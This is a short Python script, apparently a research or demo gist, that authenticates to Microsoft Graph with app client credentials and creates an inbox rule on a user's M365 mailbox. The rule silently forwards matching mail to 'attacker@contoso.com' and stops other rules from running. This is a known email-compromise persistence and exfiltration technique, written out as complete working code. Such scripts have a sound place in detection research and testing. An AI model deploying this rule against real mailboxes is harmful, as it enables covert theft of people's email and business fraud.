Create an inbox rule on an M365 mailbox using the Microsoft Grapi API

create_inbox_rule_graph.py

import requests

tenant_id = ''
client_id = ''
client_secret = ''
scope = 'https://graph.microsoft.com/.default'

token_url = f'https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token'

token_data = {
    'grant_type': 'client_credentials',
    'client_id': client_id,
    'client_secret': client_secret,
    'scope': scope
}

token_r = requests.post(token_url, data=token_data)
token = token_r.json().get('access_token')

print (token)

user_email = 'mauricio@research.com'  

graph_endpoint = f'https://graph.microsoft.com/v1.0/users/{user_email}/mailFolders/Inbox/messageRules'

headers = {
    'Authorization': f'Bearer {token}',
    'Content-Type': 'application/json'
}

data = {
    "displayName": "From partner",
    "sequence": 2,
    "isEnabled": True,
    "conditions": {
        "senderContains": [
          "adele"
        ]
     },
     "actions": {
        "forwardTo": [
          {
             "emailAddress": {
                "name": "John Doe",
                "address": "attacker@contoso.com"
              }
           }
        ],
        "stopProcessingRules": True
     }
}

response = requests.post(graph_endpoint, headers=headers, json=data)

if response.status_code == 201:
    print ('Created!')
else:
    print(f'Error: {response.status_code}')
    print (response.text)